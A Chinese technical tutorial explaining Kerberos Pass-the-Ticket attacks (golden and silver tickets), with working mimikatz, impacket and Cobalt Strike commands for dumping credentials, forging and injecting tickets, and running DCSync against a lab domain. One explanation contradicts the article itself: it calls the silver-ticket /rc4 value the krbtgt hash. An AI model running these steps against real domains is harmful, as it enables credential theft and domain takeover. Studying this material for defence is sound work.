投稿技术文章,作者:爱喝肥宅水
一、PTT介绍
- PTT(Pass The Ticket)是一种基于Kerberos认证机制的攻击方式,攻击者通过伪造或窃取合法的Kerberos票据(Ticket),绕过正常的认证流程,从而以高权限访问目标系统或服务。
- PTT攻击的核心是伪造或窃取合法的Kerberos票据,绕过Kerberos认证流程。
- PTT攻击通常用于已经获得部分域权限后,用来维持或提升权限。
- PTT攻击主要分为两种形式:
- 黄金票据伪造
- 作用:利用域内
krbtgt
用户的密钥伪造高权限的TGT(Ticket Granting Ticket),从而访问任何服务。
- 作用:利用域内
- 前提:攻击者需要获取域内
krbtgt
用户的NTLM哈希或AES密钥。
- 前提:攻击者需要获取域内
- 黄金票据伪造
- 白银票据伪造
- 利用目标服务的密钥伪造高权限的ST(Service Ticket),从而访问特定服务。
- 前提:攻击者需要获取目标服务账户的NTLM哈希或AES密钥(如CIFS、LDAP服务的计算机账户)。
- 白银票据伪造
- PTT攻击主要分为两种形式:
二、PTT原理
Kerberos认证机制简介
- Kerberos是一种网络认证协议,用于在不安全的网络中验证用户和服务的身份。
- 核心流程如下:
- AS-REQ/AS-REP:用户向KDC(Key Distribution Center)请求TGT(Ticket Granting Ticket)。
- TGS-REQ/TGS-REP:用户使用TGT向KDC请求访问特定服务的ST(Service Ticket)。
- AP-REQ/AP-REP:用户使用ST访问目标服务。
- 核心流程如下:
- Kerberos票据中包含用户身份信息(PAC,Privilege Attribute Certificate),并通过加密确保其完整性。
黄金票据攻击原理
- Kerberos的AS-REP阶段中,TGT的加密部分(含PAC)由
krbtgt
密钥签名。
- Kerberos的AS-REP阶段中,TGT的加密部分(含PAC)由
- 攻击者利用
krbtgt
密钥离线生成伪造的TGT,包含高权限的PAC(特权属性证书)。(伪造的TGT可以离线生成,无需与KDC通信。)
- 攻击者利用
白银票据攻击原理
- 在TGS-REP阶段,ST(含PAC)的加密部分由服务账户密钥签名。
- 攻击者利用服务账户密钥生成伪造的ST(含PAC),直接发送至目标服务。
- 由于默认情况下PAC的
PAC_PRIVSVR_CHECKSUM
签名验证是可选的,并且默认不开启,所以攻击者就算无法伪造该签名,也能利用伪造的ST访问目标服务。
- 由于默认情况下PAC的
- 白银票据只能访问指定服务,但不会在KDC上留下通信日志。
总结
- 黄金票据攻击:利用
krbtgt
密钥伪造TGT,可以访问任何服务,但会在KDC上留下日志。
- 黄金票据攻击:利用
- 白银票据攻击:利用服务密钥伪造ST,只能访问指定服务,但不会在KDC上留下日志,只会在目标服务器上留下日志。
三、黄金票据攻击
信息收集
- 通过mimikatz抓取krbtgt用户的NTLM哈希和域管(伪造的对象)的SID
//在域机器上以管理员权限执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
//krbtgt用户的hash只有在DC上才能抓到,在非域控机器上执行,即使有域管权限,也无法抓取
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" "exit"
mimikatz
- 生成黄金票据并将票据导入到内存中
mimikatz.exe "kerberos::golden /user:administrator /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /krbtgt:6c70f5e1f8da25b972986320d25e0e93 /ptt" "exit"
- 导入成功后就可以执行高权限操作了(比如导出任意用户的Hash)
mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"
impacket
- 通过tickerer生成黄金票据(伪造administrator)
ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -domain lazy.com administrator
- 导入黄金票据到内存中
set KRB5CCNAME=administrator.ccache
//列出票据
klist
//清除票据
klist purge
- 通过secretsdump导出administrator用户的哈希
secretsdump.exe -k -no-pass administrator@lazy.COM -dc-ip 10.10.1.228 -just-dc-user administrator
- 还可以使用impacket里的其它工具进行进一步利用
CS
- 选中目标会话,右键选中黄金票据
- 填写完相应的信息后点击Build
- 执行完后,会生成黄金票据并导入到内存中,此时就可以执行高权限的操作了
四、白银票据攻击
mimikatz
- 生成白银票据并将票据导入到内存中
mimikatz.exe "kerberos::golden /domain:lazy.com /sid:S-1-5-21-556571820-777808179-3504138622-500 /target:AD-server2016.lazy.com /rc4:6c70f5e1f8da25b972986320d25e0e93 /service:ldap /user:administrator /ptt" "exit"
/rc4:提供krbtgt账户的NTLM哈希
/service:指定服务类型,这里表明要伪造一个针对LDAP服务的票据
/user:指定伪造票据的用户名为administrator
- 对域控的ldap服务进行白银票据攻击之后,此时就有权限导出域内任意用户哈希或者进行其它高权限操作了
mimikatz.exe "lsadump::dcsync /domain:lazy.com /user:krbtgt" "exit"
impacket
- 通过tickerer生成白银票据
ticketer.exe -domain-sid S-1-5-21-556571820-777808179-3504138622-500 -nthash 6c70f5e1f8da25b972986320d25e0e93 -spn cifs/AD-server2016.lazy.com -domain lazy.com administrator
spn cifs/AD-server2016.lazy.com:指定服务主体名称(SPN),这里是cifs/AD-server2016.lazy.com,表示希望伪造一个针对CIFS(文件共享服务)的票据。
- 导入票据到内存中
set KRB5CCNAME=administrator.ccache
- 通过secretsdump导出administrator用户的哈希
secretsdump.exe -k -no-pass administrator@lazy.COM -dc-ip 10.10.1.228 -just-dc-user administrator
- 还可以使用impacket里的其它工具进行进一步利用
CS
- 使用谢公子的插件
- 填写相应信息,然后点击开始
- 执行后会生成白银票据并且导入内存,执行成功后就可以执行高权限操作了
© 版权声明
文章版权归作者所有,转载请标明出处。
THE END
暂无评论内容